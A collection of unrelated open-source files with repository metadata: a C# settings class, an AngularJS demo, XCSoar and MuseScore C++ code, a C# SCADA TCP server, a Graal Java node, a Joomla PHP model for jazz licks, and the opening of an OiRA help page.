[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
{
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default
{
get
{
return defaultInstance;
}
}
}
}
|
jtreml/fsxget
|
Starter App/Properties/Settings.Designer.cs
|
C#
|
gpl-2.0
| 1,096
|
<!-- File: chapter2/creating-controller.html -->
<!DOCTYPE html>
<html lang="en" ng-app="notesApp">
<head>
<meta charset="UTF-8">
<title>Hello AngularJS</title>
</head>
<body ng-controller="MainCtrl">
Hello {{1 + 1}}nd time AngularJS
<script
src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.19/angular.js">
</script>
<script type="text/javascript">
angular.module('notesApp', [])
.controller('MainCtrl', [function() {
// Controller-specific code goes here
console.log('MainCtrl has been created');
}]);
</script>
</body>
</html>
|
patrickjtoy/tutorials
|
angularjs/up-and-running/chapter2/creating-controller.html
|
HTML
|
gpl-2.0
| 589
|
/*
Copyright_License {
XCSoar Glide Computer - http://www.xcsoar.org/
Copyright (C) 2000-2011 The XCSoar Project
A detailed list of copyright holders can be found in the file "AUTHORS".
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
}
*/
#ifndef XCSOAR_FORM_CONTROL_HPP
#define XCSOAR_FORM_CONTROL_HPP
#include "Screen/Brush.hpp"
#include "Screen/ContainerWindow.hpp"
#include "Util/StaticString.hpp"
#include <tchar.h>
struct DialogLook;
/**
* The WindowControl class is the base class for every other control
* including the forms/windows itself, using the ContainerControl.
*/
class WindowControl : public ContainerWindow {
public:
typedef void (*OnHelpCallback_t)(WindowControl *Sender);
protected:
/** Caption/Text of the Control */
StaticString<254> mCaption;
private:
/** Font of the Control */
const Font *mhFont;
/** Helptext of the Control */
TCHAR *mHelpText;
/**
* The callback-function that should be called when the help button is
* pressed while the control has focus
* @see SetOnHelpCallback()
*/
OnHelpCallback_t mOnHelpCallback;
public:
WindowControl();
/** Destructor */
virtual ~WindowControl(void);
/**
* The on_setfocus event is called when the control gets focused
* (derived from Window)
*/
virtual bool on_setfocus();
/**
* The on_killfocus event is called when the control loses the focus
* (derived from Window)
*/
virtual bool on_killfocus();
/**
* The on_key_down event is called when a key is pressed while the
* control is focused
* (derived from Window)
*/
virtual bool on_key_down(unsigned key_code);
/**
* The on_key_up event is called when a key is released while the
* control is focused
* (derived from Window)
*/
virtual bool on_key_up(unsigned key_code);
/**
* Opens up a help dialog if a help text exists, or otherwise calls the
* function defined by mOnHelpCallback
* @return
*/
int OnHelp();
/**
* Sets the function that should be called when the help button is pressed
* @param Function Pointer to the function to be called
*/
void SetOnHelpCallback(OnHelpCallback_t Function) {
mOnHelpCallback = Function;
}
/**
* Returns the Control's font
* @return The Control's font
*/
const Font *GetFont() const {
return mhFont;
}
/**
* Sets the Control's font
* @param font The new font
* @return The old font
*/
virtual void SetFont(const Font &font);
/**
* Sets the Control's font
* @param font The new font
* @return The old font
*/
void SetFont(const Font *font) {
SetFont(*font);
}
/**
* Returns the Caption/Text of the Control
* @return The Caption/Text of the Control
*/
const TCHAR *GetCaption() const {
return mCaption.c_str();
}
/**
* Sets the Caption/Text of the Control
* @param Value The new Caption/Text of the Control
*/
void SetCaption(const TCHAR *Value);
/**
* Sets the Helptext of the Control
* @param Value The new Helptext of the Control
*/
void SetHelpText(const TCHAR *Value);
};
#endif
|
joachimwieland/xcsoar-jwieland
|
src/Form/Control.hpp
|
C++
|
gpl-2.0
| 3,762
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Sockets;
using System.Threading;
using System.Timers;
using System.Net;
namespace ScadaCommunicationProtocol
{
public partial class ScpHost
{
/// <summary>
/// Used internally by ScpHost when in Master mode. Handles connections with slaves.
/// </summary>
private class ScpTcpServer
{
private bool enabled = false;
private int clientsConnected = 0;
private object _lock;
private List<ScpTcpClient> scpClients = new List<ScpTcpClient>();
private TcpListener tcpListener;
private ScpHost scpHost;
public List<String> Hosts = new List<String>();
public event MessageEventHandler MessageEvent;
public event ScpPacketEventHandler PacketEvent;
public event SlaveConnectionEventHandler SlaveConnectionEvent;
private void OnMessageEvent(MessageEventArgs e)
{
if (MessageEvent != null)
{
MessageEvent(this, e);
}
}
private void OnSlaveConnectionEvent(object sender, SlaveConnectionEventArgs e)
{
if (SlaveConnectionEvent != null)
{
SlaveConnectionEvent(this, e);
}
}
// Triggered when Master receives a message from a slave
private void OnPacketEvent(object sender, ScpPacketEventArgs e)
{
if (e.Packet.IsBroadcast()) // Broadcast the packet to other slaves
{
Task broadcast = this.BroadcastAsync(e.Packet);
broadcast.Wait();
}
if (PacketEvent != null)
{
PacketEvent(this, e);
}
}
public ScpTcpServer(ScpHost scpHost)
{
this.scpHost = scpHost;
_lock = new object();
}
public bool IsHostConnected(string Hostname)
{
return scpClients.Exists(client => client.Hostname == Hostname) || (Hostname == ScpHost.Name);
}
public void Start()
{
if (!enabled)
{
enabled = true;
Task listenerTask = Task.Run(() => listener());
}
}
public void Stop()
{
if (enabled)
{
tcpListener.Stop();
// Disconnect all slaves
foreach (ScpTcpClient scpTcpClient in scpClients.ToList())
{
scpTcpClient.Disconnect();
}
scpClients.Clear();
enabled = false;
}
}
public async Task BroadcastAsync(ScpPacket packet)
{
if (packet.IsBroadcast())
{
foreach (ScpTcpClient scpClient in scpClients.Where(scp => scp.Hostname != packet.Source))
{
await scpClient.SendAsync(packet);
}
}
}
private async Task listener()
{
try
{
tcpListener = new TcpListener(IPAddress.Any, ScpHost.TcpServerPort);
tcpListener.Start();
while (enabled)
{
TcpClient client = await tcpListener.AcceptTcpClientAsync();
Task connector = connectClientAsync(client);
}
}
catch
{
}
}
private async Task connectClientAsync(TcpClient client)
{
lock (_lock)
{
clientsConnected++;
}
ScpTcpClient scpClient = new ScpTcpClient(scpHost);
scpClient.PacketEvent += scpClient_PacketEvent;
scpClient.MessageEvent += MessageEvent;
Task scpClientTask = scpClient.Connect(client);
try
{
try
{
await Task.Delay(1000, scpClient.requestCancelToken.Token);
}
catch
{
}
if (scpClient.Hostname == "") // No response from master, so disconnect
{
scpClient.Disconnect();
}
else
{
scpClient.PacketEvent -= scpClient_PacketEvent;
scpClient.PacketEvent += OnPacketEvent;
scpClients.Add(scpClient);
// Slave connected event
OnMessageEvent(new MessageEventArgs("Slave connected: " + scpClient.Hostname));
OnSlaveConnectionEvent(this, new SlaveConnectionEventArgs(true, scpClient.Hostname));
try
{
await scpClientTask.ConfigureAwait(false);
}
catch
{
}
// Slave disconnected event
OnMessageEvent(new MessageEventArgs("Slave disconnected: " + scpClient.Hostname));
scpClients.Remove(scpClient);
OnSlaveConnectionEvent(this, new SlaveConnectionEventArgs(false, scpClient.Hostname));
}
lock (_lock)
{
clientsConnected--;
}
}
catch
{
}
}
private async void scpClient_PacketEvent(object sender, ScpPacketEventArgs e)
{
if (e.Packet is ScpRegRequest)
{
ScpRegRequest request = (ScpRegRequest)e.Packet;
bool allowConnection = Hosts.Exists(host => host == request.Hostname);
ScpPacket packet = new ScpRegResponse(allowConnection);
packet.Id = request.Id;
try
{
if (allowConnection)
{
((ScpTcpClient)sender).Hostname = request.Hostname;
await ((ScpTcpClient)sender).SendAsync(packet);//.ConfigureAwait(false);
((ScpTcpClient)sender).requestCancelToken.Cancel();
}
}
catch // F.ex. timeout
{
}
}
}
}
}
}
|
Pravuz/fifthSem
|
fifthSem/SCP/ScpHost.ScpTcpServer.cs
|
C#
|
gpl-2.0
| 7,157
|
/*
* Copyright (c) 2009, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.oracle.graal.nodes;
import com.oracle.graal.compiler.common.type.Stamp;
import com.oracle.graal.compiler.common.type.StampFactory;
import com.oracle.graal.graph.NodeClass;
import com.oracle.graal.graph.NodeInputList;
import com.oracle.graal.nodeinfo.NodeInfo;
import com.oracle.graal.nodes.spi.ArrayLengthProvider;
import com.oracle.graal.nodes.type.StampTool;
import com.oracle.graal.nodes.util.GraphUtil;
/**
* Value {@link PhiNode}s merge data flow values at control flow merges.
*/
@NodeInfo(nameTemplate = "Phi({i#values})")
public class ValuePhiNode extends PhiNode implements ArrayLengthProvider {
public static final NodeClass<ValuePhiNode> TYPE = NodeClass.create(ValuePhiNode.class);
@Input protected NodeInputList<ValueNode> values;
public ValuePhiNode(Stamp stamp, AbstractMergeNode merge) {
this(TYPE, stamp, merge);
}
protected ValuePhiNode(NodeClass<? extends ValuePhiNode> c, Stamp stamp, AbstractMergeNode merge) {
super(c, stamp, merge);
assert stamp != StampFactory.forVoid();
values = new NodeInputList<>(this);
}
public ValuePhiNode(Stamp stamp, AbstractMergeNode merge, ValueNode[] values) {
super(TYPE, stamp, merge);
assert stamp != StampFactory.forVoid();
this.values = new NodeInputList<>(this, values);
}
@Override
public NodeInputList<ValueNode> values() {
return values;
}
@Override
public boolean inferStamp() {
Stamp valuesStamp = StampTool.meet(values());
if (stamp.isCompatible(valuesStamp)) {
valuesStamp = stamp.join(valuesStamp);
}
return updateStamp(valuesStamp);
}
@Override
public ValueNode length() {
if (merge() instanceof LoopBeginNode) {
return null;
}
ValueNode length = null;
for (ValueNode input : values()) {
ValueNode l = GraphUtil.arrayLength(input);
if (l == null) {
return null;
}
if (length == null) {
length = l;
} else if (length != l) {
return null;
}
}
return length;
}
}
|
zapster/graal-core
|
graal/com.oracle.graal.nodes/src/com/oracle/graal/nodes/ValuePhiNode.java
|
Java
|
gpl-2.0
| 3,264
|
//=============================================================================
// MusE Score
// Linux Music Score Editor
// $Id: pa.cpp 5662 2012-05-23 07:35:47Z wschweer $
//
// Copyright (C) 2002-2010 Werner Schweer and others
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
//=============================================================================
#include "preferences.h"
#include "libmscore/score.h"
#include "musescore.h"
#include "seq.h"
#include "pa.h"
#ifdef USE_ALSA
#include "alsa.h"
#include "alsamidi.h"
#endif
#include <portaudio.h>
#include "mididriver.h"
#ifdef USE_PORTMIDI
#include "pm.h"
#endif
namespace Ms {
static PaStream* stream;
//---------------------------------------------------------
// paCallback
//---------------------------------------------------------
int paCallback(const void*, void* out, long unsigned frames,
const PaStreamCallbackTimeInfo*, PaStreamCallbackFlags, void *)
{
seq->setInitialMillisecondTimestampWithLatency();
seq->process((unsigned)frames, (float*)out);
return 0;
}
//---------------------------------------------------------
// Portaudio
//---------------------------------------------------------
Portaudio::Portaudio(Seq* s)
: Driver(s)
{
_sampleRate = 48000; // will be replaced by device default sample rate
initialized = false;
state = Transport::STOP;
seekflag = false;
midiDriver = 0;
}
//---------------------------------------------------------
// ~Portaudio
//---------------------------------------------------------
Portaudio::~Portaudio()
{
if (initialized) {
PaError err = Pa_CloseStream(stream);
if (err != paNoError)
qDebug("Portaudio close stream failed: %s", Pa_GetErrorText(err));
Pa_Terminate();
}
}
//---------------------------------------------------------
// init
// return false on error
//---------------------------------------------------------
bool Portaudio::init(bool)
{
PaError err = Pa_Initialize();
if (err != paNoError) {
qDebug("Portaudio initialize failed: %s", Pa_GetErrorText(err));
return false;
}
initialized = true;
if (MScore::debugMode)
qDebug("using PortAudio Version: %s", Pa_GetVersionText());
PaDeviceIndex idx = preferences.portaudioDevice;
if (idx < 0) {
idx = Pa_GetDefaultOutputDevice();
qDebug("No device selected. PortAudio detected %d devices. Will use the default device (index %d).", Pa_GetDeviceCount(), idx);
}
const PaDeviceInfo* di = Pa_GetDeviceInfo(idx);
if (di == nullptr)
di = Pa_GetDeviceInfo(Pa_GetDefaultOutputDevice());
if (!di)
return false; // Portaudio is not properly initialized; disable audio
_sampleRate = int(di->defaultSampleRate);
/* Open an audio I/O stream. */
struct PaStreamParameters out;
memset(&out, 0, sizeof(out));
out.device = idx;
out.channelCount = 2;
out.sampleFormat = paFloat32;
#ifdef Q_OS_MAC
out.suggestedLatency = 0.020;
#else // on windows, this small latency causes some problem
out.suggestedLatency = 0.100;
#endif
out.hostApiSpecificStreamInfo = 0;
err = Pa_OpenStream(&stream, 0, &out, double(_sampleRate), 0, 0, paCallback, (void*)this);
if (err != paNoError) {
// fall back to default device:
out.device = Pa_GetDefaultOutputDevice();
err = Pa_OpenStream(&stream, 0, &out, double(_sampleRate), 0, 0, paCallback, (void*)this);
if (err != paNoError) {
qDebug("Portaudio open stream %d failed: %s", idx, Pa_GetErrorText(err));
return false;
}
}
const PaStreamInfo* si = Pa_GetStreamInfo(stream);
if (si)
_sampleRate = int(si->sampleRate);
#ifdef USE_ALSA
midiDriver = new AlsaMidiDriver(seq);
#endif
#ifdef USE_PORTMIDI
midiDriver = new PortMidiDriver(seq);
#endif
if (midiDriver && !midiDriver->init()) {
qDebug("Init midi driver failed");
delete midiDriver;
midiDriver = 0;
#ifdef USE_PORTMIDI
return true; // return OK for audio driver; midi is only input
#else
return false;
#endif
}
return true;
}
//---------------------------------------------------------
// apiList
//---------------------------------------------------------
QStringList Portaudio::apiList() const
{
QStringList al;
PaHostApiIndex apis = Pa_GetHostApiCount();
for (PaHostApiIndex i = 0; i < apis; ++i) {
const PaHostApiInfo* info = Pa_GetHostApiInfo(i);
if (info)
al.append(QString::fromLocal8Bit(info->name));
}
return al;
}
//---------------------------------------------------------
// deviceList
//---------------------------------------------------------
QStringList Portaudio::deviceList(int apiIdx)
{
QStringList dl;
const PaHostApiInfo* info = Pa_GetHostApiInfo(apiIdx);
if (info) {
for (int i = 0; i < info->deviceCount; ++i) {
PaDeviceIndex idx = Pa_HostApiDeviceIndexToDeviceIndex(apiIdx, i);
const PaDeviceInfo* di = Pa_GetDeviceInfo(idx);
if (di)
dl.append(QString::fromLocal8Bit(di->name));
}
}
return dl;
}
//---------------------------------------------------------
// deviceIndex
//---------------------------------------------------------
int Portaudio::deviceIndex(int apiIdx, int apiDevIdx)
{
return Pa_HostApiDeviceIndexToDeviceIndex(apiIdx, apiDevIdx);
}
//---------------------------------------------------------
// start
//---------------------------------------------------------
bool Portaudio::start(bool)
{
PaError err = Pa_StartStream(stream);
if (err != paNoError) {
qDebug("Portaudio: start stream failed: %s", Pa_GetErrorText(err));
return false;
}
return true;
}
//---------------------------------------------------------
// stop
//---------------------------------------------------------
bool Portaudio::stop()
{
PaError err = Pa_StopStream(stream); // sometimes the program hangs here on exit
if (err != paNoError) {
qDebug("Portaudio: stop failed: %s", Pa_GetErrorText(err));
return false;
}
return true;
}
//---------------------------------------------------------
// framePos
//---------------------------------------------------------
int Portaudio::framePos() const
{
return 0;
}
//---------------------------------------------------------
// startTransport
//---------------------------------------------------------
void Portaudio::startTransport()
{
state = Transport::PLAY;
}
//---------------------------------------------------------
// stopTransport
//---------------------------------------------------------
void Portaudio::stopTransport()
{
state = Transport::STOP;
}
//---------------------------------------------------------
// getState
//---------------------------------------------------------
Transport Portaudio::getState()
{
return state;
}
//---------------------------------------------------------
// midiRead
//---------------------------------------------------------
void Portaudio::midiRead()
{
if (midiDriver)
midiDriver->read();
}
//---------------------------------------------------------
// putEvent
//---------------------------------------------------------
// Prevent killing sequencer with wrong data
#define less128(__less) ((__less >=0 && __less <= 127) ? __less : 0)
// TODO: this was copied from Jack version...I'd like to eventually unify these two, so that they handle midi event types in the same manner
void Portaudio::putEvent(const NPlayEvent& e, unsigned framePos)
{
PortMidiDriver* portMidiDriver = static_cast<PortMidiDriver*>(midiDriver);
if (!portMidiDriver || !portMidiDriver->getOutputStream() || !portMidiDriver->canOutput())
return;
int portIdx = seq->score()->midiPort(e.channel());
int chan = seq->score()->midiChannel(e.channel());
if (portIdx < 0 ) {
qDebug("Portaudio::putEvent: invalid port %d", portIdx);
return;
}
if (midiOutputTrace) {
int a = e.dataA();
int b = e.dataB();
qDebug("MidiOut<%d>: Portaudio: %02x %02x %02x, chan: %i", portIdx, e.type(), a, b, chan);
}
switch(e.type()) {
case ME_NOTEON:
case ME_NOTEOFF:
case ME_POLYAFTER:
case ME_CONTROLLER:
// Catch CTRL_PROGRAM and let other ME_CONTROLLER events to go
if (e.dataA() == CTRL_PROGRAM) {
// Convert CTRL_PROGRAM event to ME_PROGRAM
long msg = Pm_Message(ME_PROGRAM | chan, less128(e.dataB()), 0);
PmError error = Pm_WriteShort(portMidiDriver->getOutputStream(), seq->getCurrentMillisecondTimestampWithLatency(framePos), msg);
if (error != pmNoError) {
qDebug("Portaudio: error %d", error);
return;
}
break;
}
// fall through
case ME_PITCHBEND:
{
long msg = Pm_Message(e.type() | chan, less128(e.dataA()), less128(e.dataB()));
PmError error = Pm_WriteShort(portMidiDriver->getOutputStream(), seq->getCurrentMillisecondTimestampWithLatency(framePos), msg);
if (error != pmNoError) {
qDebug("Portaudio: error %d", error);
return;
}
}
break;
case ME_PROGRAM:
case ME_AFTERTOUCH:
{
long msg = Pm_Message(e.type() | chan, less128(e.dataA()), 0);
PmError error = Pm_WriteShort(portMidiDriver->getOutputStream(), seq->getCurrentMillisecondTimestampWithLatency(framePos), msg);
if (error != pmNoError) {
qDebug("Portaudio: error %d", error);
return;
}
}
break;
case ME_SONGPOS:
case ME_CLOCK:
case ME_START:
case ME_CONTINUE:
case ME_STOP:
qDebug("Portaudio: event type %x not supported", e.type());
break;
}
}
//---------------------------------------------------------
// currentApi
//---------------------------------------------------------
int Portaudio::currentApi() const
{
PaDeviceIndex idx = preferences.portaudioDevice;
if (idx < 0)
idx = Pa_GetDefaultOutputDevice();
for (int api = 0; api < Pa_GetHostApiCount(); ++api) {
const PaHostApiInfo* info = Pa_GetHostApiInfo(api);
if (info) {
for (int k = 0; k < info->deviceCount; ++k) {
PaDeviceIndex i = Pa_HostApiDeviceIndexToDeviceIndex(api, k);
if (i == idx)
return api;
}
}
}
qDebug("Portaudio: no current api found for device %d", idx);
return -1;
}
//---------------------------------------------------------
// currentDevice
//---------------------------------------------------------
int Portaudio::currentDevice() const
{
PaDeviceIndex idx = preferences.portaudioDevice;
if (idx < 0)
idx = Pa_GetDefaultOutputDevice();
for (int api = 0; api < Pa_GetHostApiCount(); ++api) {
const PaHostApiInfo* info = Pa_GetHostApiInfo(api);
if (info) {
for (int k = 0; k < info->deviceCount; ++k) {
PaDeviceIndex i = Pa_HostApiDeviceIndexToDeviceIndex(api, k);
if (i == idx)
return k;
}
}
}
qDebug("Portaudio: no current ApiDevice found for device %d", idx);
return -1;
}
}
|
folbo/MuseScore
|
mscore/pa.cpp
|
C++
|
gpl-2.0
| 13,331
|
<?php
/**
* @version 0.0.4
* @package com_jazz_mastering
* @copyright Copyright (C) 2012. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @author Artur Pañach Bargalló <arturictus@gmail.com> - http://
*/
defined('_JEXEC') or die;
jimport('joomla.application.component.modellist');
require_once (JPATH_COMPONENT_SITE.DS.'models'.DS.'tune.php');
require_once (JPATH_COMPONENT_ADMINISTRATOR.DS.'assets'.DS.'php'.DS.'functions.php');
/**
* Methods supporting a list of Jazz_mastering records.
*/
class Jazz_masteringModelTune_licks extends Jazz_masteringModelTune {
protected $table="`#__jazz_mastering_lick`";
///VARIABLES PARA Form_to_get_iiv ()
protected $cadencias;
protected $num_compases_caden;
protected $modo_cadencia;
function __construct(){
parent::__construct();
}
public function print_II_V($i){
$db = JFactory::getDbo();
//Variables con las que trabaja
global $user;
global $cadencias;
global $modocad;
global $compas;
global $num_compases_caden;
global $num_de_compases;
$get_array_counter =$i-1;
$get_array_counter_anterior =$i-2;
$toecho='';
$medida_de_compas=$this->medida_compas +10;
//variables para la query
$where_con=array('cadencia='.$this->cadencias[($i-1)], 'modo='.$this->modocad[($i-1)], 'num_de_compases='.$this->num_compases_caden[$get_array_counter]);
$select=array('#__jazz_mastering_lick.image_id');
if ($num_compases_caden[$get_array_counter_anterior]==2)
{
if ($i==5||$i==9||$i==13||$i==17||$i==21||$i==25||$i==29)
{ $toecho.= "<div class=\"II-V_1\">";
$toecho.= "</div>";
}
/* else ; {$toecho.= "primeros de sistema"; $toecho.= "</div>"; */
}
else if (in_array ("$i",$this->compas)){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
if (isset($user))
{
$query->from('`#__jazz_mastering_lick` AS a');
$query->select('#__jazz_mastering_img_lick_303177.img_name AS imglicks_img_name_303177');
$query->join('LEFT', '#__jazz_mastering_img_lick AS #__jazz_mastering_img_lick_303177 ON #__jazz_mastering_img_lick_303177.id = a.image_id');
$query->where($where_con);
//$query->group("`".$columna."`");
//$query = "SELECT `Nombreimagen` FROM ".$this->table." WHERE `Cadencia` LIKE '".$this->cadencias[($i-1)]."' AND `major_menor` LIKE '".$this->modocad[($i-1)]."' AND `Num_de_compases` =". $this->num_compases_caden[$get_array_counter]." AND `user` = $user";
}
else
{
$query->from('`#__jazz_mastering_lick` AS a');
$query->select('#__jazz_mastering_img_lick_303177.img_name AS imglicks_img_name_303177');
$query->join('LEFT', '#__jazz_mastering_img_lick AS #__jazz_mastering_img_lick_303177 ON #__jazz_mastering_img_lick_303177.id = a.image_id');
//$query->where($where_con);
//$query->group("`".$columna."`");
/* $query = "SELECT `Nombreimagen` FROM ".$this->table." WHERE `Cadencia` LIKE '".$this->cadencias[($i-1)]."' AND `major_menor` LIKE '".$this->modocad[($i-1)]."' AND `Num_de_compases` =". $this->num_compases_caden[$get_array_counter];}
$result=mysql_query($query)or die("Error en: $query: " . mysql_error());*/
}
$db->setQuery($query);
$vector = $db->loadColumn();
//$vector = toArray ($result);//convierto las respuestas (nombre imagen) en un array
shuffle ($vector);
//print_r($vector);
//barajo las respuestas para que sean aleatorios
//do_dump($vector);
if ($this->num_compases_caden[$get_array_counter]==1)//si el II-V es de un compas:
{$toecho.= "<div class=\"II-V_1\">";
//$toecho.= '<img src="'.$this->folder.'/'.$vector[0].'" width="'.$medida_de_compas.'" height="100" alt="'.$vector[0].'" />';
$toecho.= '<img src="'.$vector[0].'" width="'.$medida_de_compas.'" height="100" alt="'.$vector[0].'" />';
$toecho.= "</div>";}
else if ($this->num_compases_caden[$get_array_counter]==2)//Si pones un II_V de 2 compases $toecho.=:
{$toecho.= "<div class=\"II-V_2\">";
$toecho.= '<img src="'.$this->folder.'/'.$vector[0].'" width="'.$medida_de_compas*2 .'" height="100" alt="'.$vector[0].'"/>';
$toecho.= "</div>";}
else {
$toecho.= "<div class=\"II-V_1\">";//si el conjunto esta vacio imprimir el espacio en blanco
print_r($vector);
$toecho.= "</div>";
}
}
// Yz7RxkuJDgNC
//Si el anterior tiene 2 compases no imprimar nada, fuera de si has seleccionado poner un II-V
return $toecho;
}
public function get_saved_frases_for_form ($columna)
{
$user=$this->user->id;
$column_ar=array();
$db = JFactory::getDbo();
$query = $db->getQuery(true);
//db_connect ();
if (isset ($user))
{
$query->select("`".$columna."`");
$query->from($this->table);
$query->where('user = '.$user);
$query->group("`".$columna."`");
/*$query= "SELECT `$columna`
\n FROM `".$tabla."`
\n WHERE lick_user = $user
\n GROUP BY `$columna` ";*/
}
else {
$query->select("`".$columna."`");
$query->from($this->table);
$query->where('user = '.$user);
$query->group("`".$columna."`");
//$query="SELECT `$columna` FROM ".$tabla." GROUP BY `$columna`";
}
$db->setQuery($query);
$result = $db->loadColumn();
foreach ($result as $valor)
{
$column_ar[]['key']=$valor;
}
//db_connect ();
//If ($columna == 'modo' || 'cadencia')
for($i=0;$i<count($column_ar);$i++)
{ $query = $db->getQuery(true);
$query->select("`".$columna."`");
$query->from("`#__jazz_mastering_".$columna."`");
$query->where('id LIKE '.$column_ar[$i]['key']);
//$query->group("`".$columna."`");
$db->setQuery($query);
$column_ar[$i]['def'] = $db->loadResult();
}
//$resultado= mysql_query($query)or die("Error en: $query: " . mysql_error());
//$vector=toarray ($resultado);
//do_dump($vector);
//return $vector;
//do_dump($results);
return $column_ar;
}
public function get_saved_licks_def()
{
$this->cadencias=$this->get_saved_frases_for_form ('cadencia');
$this->num_compases_caden=$this->get_saved_frases_for_form ('num_de_compases');
$this->modo_cadencia=$this->get_saved_frases_for_form ('modo');
}
public function Form_to_get_iiv ()
{
/////___________Funcion formulario de ingreso de ...
////________________________-_______________________________________________________________________
//cadencias
$contador_cadencias=count($this->cadencias);
//echo $contador_cadencias;
$toecho ="<select name=\"cadencias[]\" size=\"1\" >";
$toecho.= "<option value=\"\"></option>";
for($fila=0;$fila<$contador_cadencias;$fila++)
{ $toecho.= "<option value=\"";
$toecho.= $this->cadencias[$fila]['key']."\">".$this->cadencias[$fila]['def']."</option>";
}
$toecho.= "</select>";
// Modo cadencia
$contador_modo_cadencia=count($this->modo_cadencia);
$toecho.="<select name=\"modocad[]\" size=\"1\" >";
$toecho.= "<option value=\"\"></option>";
for($fila=0;$fila<$contador_modo_cadencia;$fila++)
{ $toecho.= "<option value=\"";
$toecho.= $this->modo_cadencia[$fila]['key']."\">".$this->modo_cadencia[$fila]['def']."</option>";
}
$toecho.= "</select>";
$contador_num_compases_caden=count($this->num_compases_caden);
$toecho.="<select name=\"num_compases_caden[]\" size=\"1\" >";
$toecho.= "<option value=\"\"></option>";
for($fila=0;$fila<$contador_num_compases_caden;$fila++)
{ $toecho.= "<option value=\"";
$toecho.= $this->num_compases_caden[$fila]['key']."\">".$this->num_compases_caden[$fila]['key']."</option>";
}
$toecho.= "</select>";
return $toecho;
}
public function Getprint_exercise (){
if ( $_POST['hacer'] )
{
$temaid=$_POST['temaid'];
$this->gettema();
$compas=$_POST['compas'];
$cadencias=$_POST["cadencias"];
$modocad=$_POST["modocad"];
$num_compases_caden=$_POST["num_compases_caden"];
echo $this->II_V_from_form_div();
//do_dump($_POST);
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 2a
elseif (isset ($_POST['Ir']))
{
$temaid=$_POST['tema'];
$this->get('tema');
$this->get_saved_licks_def();
//print_r($this->num_compases_caden);
/*if ($this->GetPrimerAcorde () == "" || NULL)
{
echo "<tr><td>".$this->form_acordes_tema ()."</td></tr>";
exit;
}*/
echo $this->get_tema_to_manualimput_mod ();
//$cadencias=$this->get_saved_frases_for_form ('cadencia');
//do_dump($_POST);
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////1a fase
else
{
$this->getform_to_choose_tema();
}
}
}
|
lion01/weprob
|
components/com_jazz_mastering/models/tune_licks.php
|
PHP
|
gpl-2.0
| 8,578
|
<!DOCTYPE html>
<html
class="no-js"
lang="en">
<head>
<meta
http-equiv="Content-Type"
content="text/html; charset=UTF-8">
<title>OiRA</title>
<meta
name="viewport"
content="width=device-width, initial-scale=1">
<link
id="all-styles"
rel="stylesheet"
href="../../../style/all.css"
type="text/css">
<script
src="../../../script/bundle-help.js"
type="text/javascript"></script>
<!-- Following line is ONLY for the prototype. -->
<meta
name="robots"
content="noindex" />
<meta
name="description"
content="">
<meta
property="og:type"
content="website" />
<meta
property="og:title"
content="" />
<meta
property="og:description"
content="" />
<meta
property="og:url"
content="//assets/oira/help/bg/illustrations/index-logged-in" />
<meta
property="og:image"
content="../../../style/oira-tile.png" />
<link
rel="icon"
type="image/png"
href="../../../favicon/apple-touch-icon.png" />
<meta
name="theme-color"
content="#10B2E4">
<!-- Manifest -->
<link rel="manifest"
href="/assets/oira/manifest/manifest.json">
</head>
<body
id="body"
data-page-layout="dashboard"
data-layout-layout="homescreen"
class=" osh-off osc-off osc-size-normal osc-s-off ">
<div id="main" class="sidebar-off">
<header
id="toolbar">
<a
href="/index-logged-in.html"
data-pat-inject="source: #content; target: #content; history: record"
class="pat-inject pat-switch title-group"
data-pat-switch="selector: body; remove: osc-s-on; add: osc-s-off;"
title="Startup page">
<h1
class="logo">
OiRA
</h1>
</a>
<a href="#osc"
id="toggle-osc"
class="iconified pat-toggle"
data-pat-toggle="selector: body; value: osc-off osc-on && selector: body; value: osc-s-off osc-s-on;">Toggle risk assessment browser</a>
<a href="/feedback/osh.html#osh-osc-toggle" id="osh-target-osc-toggle" class="onscreen-help pat-tooltip" data-pat-tooltip="trigger: click; source: ajax; class: rich info;">Help</a>
<a
href="/feedback/more-menu#menu-content"
id="user-menu"
class="iconified pat-tooltip pat-switch"
data-pat-switch="selector: body; remove: osc-s-on; add: osc-s-off;"
data-pat-tooltip="source: ajax">Menu</a>
<a
